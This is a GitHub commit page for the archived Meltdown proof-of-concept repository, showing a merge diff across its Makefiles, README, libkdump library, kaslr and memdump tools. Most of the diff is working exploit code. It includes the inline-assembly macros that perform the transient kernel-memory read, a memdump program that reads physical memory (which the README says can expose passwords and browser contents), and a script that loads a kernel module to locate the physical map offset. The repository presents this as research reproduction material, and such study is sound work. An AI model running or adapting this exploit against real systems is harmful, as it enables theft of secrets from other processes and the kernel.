Skip to content
This repository was archived by the owner on Oct 1, 2022. It is now read-only.

Commit 0d2a0fe

Browse files
authored
Merge branch 'master' into patch-1
2 parents 225cb29 + 1cf594f commit 0d2a0fe

File tree

10 files changed

+95
-51
lines changed

10 files changed

+95
-51
lines changed

Makefile

+2-2
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
CFLAGS=-O3 -pthread -Wno-attributes -m64
1+
override CFLAGS += -O3 -pthread -Wno-attributes -m64
22
CC=gcc
33

44
#BINARIES=test kaslr physical_reader
@@ -8,7 +8,7 @@ BINARIES := $(SOURCES:%.c=%)
88

99
all: $(BINARIES)
1010

11-
libkdump/libkdump.a:
11+
libkdump/libkdump.a: libkdump/libkdump.c
1212
make -C libkdump
1313

1414
%: %.c libkdump/libkdump.a

README.md

+5-5
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
11
# Meltdown Proof-of-Concept
22

3-
This repository contains several applications, demonstrating the [Meltdown bug](https://meltdown.help). For technical information about the bug, refer to the paper:
3+
This repository contains several applications, demonstrating the [Meltdown bug](https://meltdownattack.com). For technical information about the bug, refer to the paper:
44

5-
* [Meltdown](https://meltdown.help/meltdown.pdf) by Lipp, Schwarz, Gruss, Prescher, Haas, Mangard, Kocher, Genkin, Yarom, and Hamburg
5+
* [Meltdown](https://meltdownattack.com/meltdown.pdf) by Lipp, Schwarz, Gruss, Prescher, Haas, Mangard, Kocher, Genkin, Yarom, and Hamburg
66

77
The applications in this repository are built with [libkdump](https://github.com/IAIK/Meltdown/tree/master/libkdump), a library we developed for the paper. This library simplifies exploitation of the bug by automatically adapting to certain properties of the environment.
88

@@ -140,10 +140,10 @@ make
140140
Then, run the `memdump` tool to dump memory contents. If you executed `memory_filler` before, you should see some string fragments.
141141
If you have Firefox or Chrome with multiple tabs running, you might also see parts of the websites which are open or were recently closed.
142142

143-
The first parameter is the physical address at which the dump should begin (leave empty to start at the first gigabyte). If you do not have KASLR disabled, the second parameter is the offset of the direct physical map.
143+
The first parameter is the physical address at which the dump should begin (leave empty to start at the first gigabyte). The second parameter is the amount of bytes you want to be read, to read it all give -1. If you do not have KASLR disabled, the third parameter is the offset of the direct physical map.
144144

145145
```bash
146-
taskset 0x1 ./memdump 0x240000000 0xffff880000000000 # start at 9 GB
146+
taskset 0x1 ./memdump 0x240000000 -1 0xffff880000000000 # start at 9 GB
147147
```
148148

149149
You should get a hexdump of parts of the memory (potentially even containing secrets such as passwords, see example in the paper), e.g.:
@@ -188,7 +188,7 @@ You should get a hexdump of parts of the memory (potentially even containing sec
188188
* **You said it works on uncached memory, but all your demos ensure that the memory is cached!**
189189

190190
Making it work on uncached memory is trickier, and often requires a bit of tweaking of the parameters. Thus, we ensure that the memory is cached in the PoC to make it easier to reproduce. However, you can simply remove the code that caches the values and replace it by a `clflush` to test the exploit on uncached memory (see Video #5 for an example).
191-
Although not in the original blog post by Google, this was also confirmed by independent researchers (e.g. https://twitter.com/aionescu/status/951261470343360513 or https://twitter.com/raphael_scarv/status/951265374175154176).
191+
Although not in the original blog post by Google, this was also confirmed by independent researchers (e.g. [Alex Ionescu](https://twitter.com/aionescu/status/951261470343360513), [Raphael Carvalho](https://twitter.com/raphael_scarv/status/952078140028964864), [Pavel Boldin](https://www.youtube.com/watch?v=EMBGXswJC4s)).
192192

193193
* **It just does not work on my computer, what can I do?**
194194

kaslr.c

+5-1
Original file line numberDiff line numberDiff line change
@@ -5,8 +5,12 @@
55
int main(int argc, char *argv[]) {
66
size_t scratch[4096];
77
libkdump_config_t config;
8-
size_t offset = 0xffff880000000000ull;
8+
size_t offset = DEFAULT_PHYSICAL_OFFSET;
9+
#ifdef __x86_64__
910
size_t step = 0x800000000ll;
11+
#else
12+
size_t step = 0x1000000;
13+
#endif
1014
size_t delta = -2 * step;
1115
int progress = 0;
1216

kaslr_offset/direct_physical_map.sh

+5-4
Original file line numberDiff line numberDiff line change
@@ -2,23 +2,24 @@
22

33
if [ ! -f kernel_module/direct_physical_map.ko ]; then
44
echo -e "\x1b[32;1m[+]\x1b[0m Building kernel module"
5-
cd kernel_module && make && cd ..
5+
cd kernel_module && make
6+
cd -
67
fi
78
if [ ! -f kernel_module/direct_physical_map.ko ]; then
89
echo -e "\x1b[31;1m[-]\x1b[0m Failed building kernel module"
910
exit
1011
fi
1112

12-
if [ $(lsmod | grep -c direct_physical_map) -eq 0 ]; then
13+
if ! grep -q direct_physical_map /proc/modules; then
1314
echo -e "\x1b[32;1m[+]\x1b[0m Loading kernel module"
1415
insmod kernel_module/direct_physical_map.ko
1516
fi
16-
if [ $(lsmod | grep -c direct_physical_map) -eq 0 ]; then
17+
if ! grep -q direct_physical_map /proc/modules; then
1718
echo -e "\x1b[31;1m[-]\x1b[0m Failed loading kernel module"
1819
exit
1920
fi
2021

21-
OFFSET=$(cat /proc/direct_physical_map)
22+
read OFFSET </proc/direct_physical_map
2223

2324
echo -e "\x1b[32;1m[+]\x1b[0m Direct physical map offset at \x1b[33;1m$OFFSET\x1b[0m"
2425

kaslr_offset/kernel_module/.gitignore

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
*.cmd
2+
*.mod.c
3+
modules.order
4+
Module.symvers
5+
.tmp_versions/
6+
*.ko

libkdump/Makefile

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
CFLAGS=-O3 -pthread -Wno-attributes
1+
override CFLAGS += -O3 -pthread -Wno-attributes
22
CC=gcc
33

44
all: libkdump.a libkdump.so

libkdump/README.md

+2-2
Original file line numberDiff line numberDiff line change
@@ -117,7 +117,7 @@ config = libkdump_get_autoconfig();
117117
// change address of direct physical map
118118
config.physical_offset = 0xffff98a000000000ull;
119119
// initialize libkdump with custom config
120-
if(libkdump_init(libkdump_auto_config) != 0) {
120+
if(libkdump_init(config) != 0) {
121121
return -1;
122122
}
123123

@@ -151,7 +151,7 @@ config = libkdump_get_autoconfig();
151151
// change any property, e.g., direct-physical map offset
152152
config.physical_offset = 0xffff98a000000000ull;
153153
// initialize libkdump with custom config
154-
if(libkdump_init(libkdump_auto_config) != 0) {
154+
if(libkdump_init(config) != 0) {
155155
return -1;
156156
}
157157
```

libkdump/libkdump.c

+40-30
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,6 @@
1414
libkdump_config_t libkdump_auto_config = {0};
1515

1616
// ---------------------------------------------------------------------------
17-
static volatile size_t run = 1;
1817
static jmp_buf buf;
1918

2019
static char *_mem = NULL, *mem = NULL;
@@ -45,10 +44,9 @@ static libkdump_config_t config;
4544

4645
// ---------------------------------------------------------------------------
4746
#define meltdown \
48-
asm volatile("xorq %%rax, %%rax\n" \
49-
"1:\n" \
47+
asm volatile("1:\n" \
5048
"movq (%%rsi), %%rsi\n" \
51-
"movb (%%rcx), %%al\n" \
49+
"movzx (%%rcx), %%rax\n" \
5250
"shl $12, %%rax\n" \
5351
"jz 1b\n" \
5452
"movq (%%rbx,%%rax,1), %%rbx\n" \
@@ -58,9 +56,8 @@ static libkdump_config_t config;
5856

5957
// ---------------------------------------------------------------------------
6058
#define meltdown_nonull \
61-
asm volatile("xorq %%rax, %%rax\n" \
62-
"1:\n" \
63-
"movb (%%rcx), %%al\n" \
59+
asm volatile("1:\n" \
60+
"movzx (%%rcx), %%rax\n" \
6461
"shl $12, %%rax\n" \
6562
"jz 1b\n" \
6663
"movq (%%rbx,%%rax,1), %%rbx\n" \
@@ -70,8 +67,7 @@ static libkdump_config_t config;
7067

7168
// ---------------------------------------------------------------------------
7269
#define meltdown_fast \
73-
asm volatile("xorq %%rax, %%rax\n" \
74-
"movb (%%rcx), %%al\n" \
70+
asm volatile("movzx (%%rcx), %%rax\n" \
7571
"shl $12, %%rax\n" \
7672
"movq (%%rbx,%%rax,1), %%rbx\n" \
7773
: \
@@ -82,35 +78,32 @@ static libkdump_config_t config;
8278

8379
// ---------------------------------------------------------------------------
8480
#define meltdown \
85-
asm volatile("xorl %%eax, %%eax\n" \
86-
"1:\n" \
81+
asm volatile("1:\n" \
8782
"movl (%%esi), %%esi\n" \
88-
"movb (%%ecx), %%al\n" \
83+
"movzx (%%ecx), %%eax\n" \
8984
"shl $12, %%eax\n" \
9085
"jz 1b\n" \
91-
"movl (%%ebx,%%eax,1), %%ebx\n" \
86+
"mov (%%ebx,%%eax,1), %%ebx\n" \
9287
: \
9388
: "c"(phys), "b"(mem), "S"(0) \
9489
: "eax");
9590

9691
// ---------------------------------------------------------------------------
9792
#define meltdown_nonull \
98-
asm volatile("xorl %%eax, %%eax\n" \
99-
"1:\n" \
100-
"movb (%%ecx), %%al\n" \
93+
asm volatile("1:\n" \
94+
"movzx (%%ecx), %%eax\n" \
10195
"shl $12, %%eax\n" \
10296
"jz 1b\n" \
103-
"movl (%%ebx,%%eax,1), %%ebx\n" \
97+
"mov (%%ebx,%%eax,1), %%ebx\n" \
10498
: \
10599
: "c"(phys), "b"(mem) \
106100
: "eax");
107101

108102
// ---------------------------------------------------------------------------
109103
#define meltdown_fast \
110-
asm volatile("xorl %%eax, %%eax\n" \
111-
"movb (%%ecx), %%al\n" \
104+
asm volatile("movzx (%%ecx), %%eax\n" \
112105
"shl $12, %%eax\n" \
113-
"movl (%%ebx,%%eax,1), %%ebx\n" \
106+
"mov (%%ebx,%%eax,1), %%ebx\n" \
114107
: \
115108
: "c"(phys), "b"(mem) \
116109
: "eax");
@@ -273,13 +266,11 @@ static int check_tsx() {
273266
return (b & (1 << 11)) ? 1 : 0;
274267
} else
275268
return 0;
276-
#else
277-
#ifdef FORCE_TSX
269+
#elif defined(FORCE_TSX)
278270
return 1;
279-
#else
271+
#else /* defined (NO_TSX) */
280272
return 0;
281273
#endif
282-
#endif
283274
}
284275

285276
// ---------------------------------------------------------------------------
@@ -360,9 +351,8 @@ static void unblock_signal(int signum __attribute__((__unused__))) {
360351
// ---------------------------------------------------------------------------
361352
static void segfault_handler(int signum) {
362353
(void)signum;
363-
run = 0;
364354
unblock_signal(SIGSEGV);
365-
longjmp(buf, 0);
355+
longjmp(buf, 1);
366356
}
367357

368358
// ---------------------------------------------------------------------------
@@ -416,8 +406,9 @@ int libkdump_init(const libkdump_config_t configuration) {
416406
int k;
417407
for (k = 0; k < j; k++) {
418408
pthread_cancel(load_thread[k]);
419-
free(_mem);
420409
}
410+
free(load_thread);
411+
free(_mem);
421412
errno = r;
422413
return -1;
423414
}
@@ -453,6 +444,18 @@ int libkdump_cleanup() {
453444

454445
// ---------------------------------------------------------------------------
455446
size_t libkdump_phys_to_virt(size_t addr) {
447+
/* we are given full address (kernel or physical) here */
448+
if (addr + config.physical_offset < config.physical_offset)
449+
return addr;
450+
451+
#ifdef __x86_64__
452+
/* address given is bigger than identity mapping 64TB */
453+
if (addr >= (64ULL * 1024ULL * 1024ULL * 1024ULL * 1024ULL)) {
454+
debug(ERROR, "phys_to_virt argument is > 64 TB\n");
455+
return -1ULL;
456+
}
457+
#endif
458+
456459
return addr + config.physical_offset;
457460
}
458461

@@ -503,9 +506,7 @@ int __attribute__((optimize("-Os"), noinline)) libkdump_read_signal_handler() {
503506
uint64_t start = 0, end = 0;
504507

505508
while (retries--) {
506-
run = 1;
507-
setjmp(buf);
508-
if (run) {
509+
if (!setjmp(buf)) {
509510
MELTDOWN;
510511
}
511512

@@ -544,6 +545,15 @@ int __attribute__((optimize("-O0"))) libkdump_read(size_t addr) {
544545
}
545546
int max_v = 0, max_i = 0;
546547

548+
if (dbg) {
549+
for (i = 0; i < sizeof(res_stat); i++) {
550+
if (res_stat[i] == 0)
551+
continue;
552+
debug(INFO, "res_stat[%x] = %d\n",
553+
i, res_stat[i]);
554+
}
555+
}
556+
547557
for (i = 1; i < 256; i++) {
548558
if (res_stat[i] > max_v && res_stat[i] >= config.accept_after) {
549559
max_v = res_stat[i];

libkdump/libkdump.h

+1-1
Original file line numberDiff line numberDiff line change
@@ -102,7 +102,7 @@ size_t libkdump_virt_to_phys(size_t addr);
102102
*
103103
* @param[in] addr The physical address to convert
104104
*
105-
* @return The virtual address
105+
* @return The virtual address, or -1ULL if an error occured.
106106
*/
107107
size_t libkdump_phys_to_virt(size_t addr);
108108

memdump.c

+28-5
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,23 @@
11
#include "libkdump.h"
22
#include <stdio.h>
33
#include <stdlib.h>
4+
#include <signal.h>
5+
6+
static int running = 1;
7+
8+
void sigint(int signum __attribute__((unused))) {
9+
running = 0;
10+
}
411

512
int main(int argc, char *argv[]) {
613
size_t phys = 1ull * 1024ull * 1024ull * 1024ull; // start at first gigabyte
14+
size_t size = (size_t)-1ULL;
715
if (argc >= 2) {
816
phys = strtoull(argv[1], NULL, 0);
917
}
18+
if (argc >= 3) {
19+
size = strtoull(argv[2], NULL, 0);
20+
}
1021

1122
int width = 16; // characters per line
1223
int suppress_empty = 1;
@@ -15,23 +26,35 @@ int main(int argc, char *argv[]) {
1526
config = libkdump_get_autoconfig();
1627
config.retries = 10;
1728
config.measurements = 2;
18-
if (argc >= 3) {
19-
config.physical_offset = strtoull(argv[2], NULL, 0);
29+
if (argc >= 4) {
30+
config.physical_offset = strtoull(argv[3], NULL, 0);
2031
}
2132

2233
libkdump_init(config);
2334

2435
size_t vaddr = libkdump_phys_to_virt(phys);
2536

37+
if (vaddr == -1ULL) {
38+
fprintf(stderr, "Error converting physical to virtual address\n");
39+
return -1;
40+
}
41+
2642
printf(
2743
"\x1b[32;1m[+]\x1b[0m Physical address : \x1b[33;1m0x%zx\x1b[0m\n", phys);
28-
printf("\x1b[32;1m[+]\x1b[0m Physical offset : \x1b[33;1m0x%zx\x1b[0m\n\n", config.physical_offset);
44+
printf("\x1b[32;1m[+]\x1b[0m Physical offset : \x1b[33;1m0x%zx\x1b[0m\n", config.physical_offset);
45+
printf(
46+
"\x1b[32;1m[+]\x1b[0m Virtual address : \x1b[33;1m0x%zx\x1b[0m\n", vaddr);
47+
48+
if (width > size)
49+
width = size;
2950

3051
size_t delta = 0;
3152
int i;
3253
char *buffer = malloc(width);
3354

34-
while (1) {
55+
signal(SIGINT, sigint);
56+
57+
while (running && delta < size) {
3558
int value = libkdump_read(vaddr + delta);
3659
buffer[delta % width] = value;
3760

@@ -48,7 +71,7 @@ int main(int argc, char *argv[]) {
4871
continue;
4972
}
5073

51-
printf("%10zx: ", delta + phys);
74+
printf("%10zx: ", delta + phys - (width - 1));
5275
printf("| ");
5376
for (i = 0; i < width; i++) {
5477
printf("%02x ", (unsigned char)buffer[i]);

0 commit comments

Comments
 (0)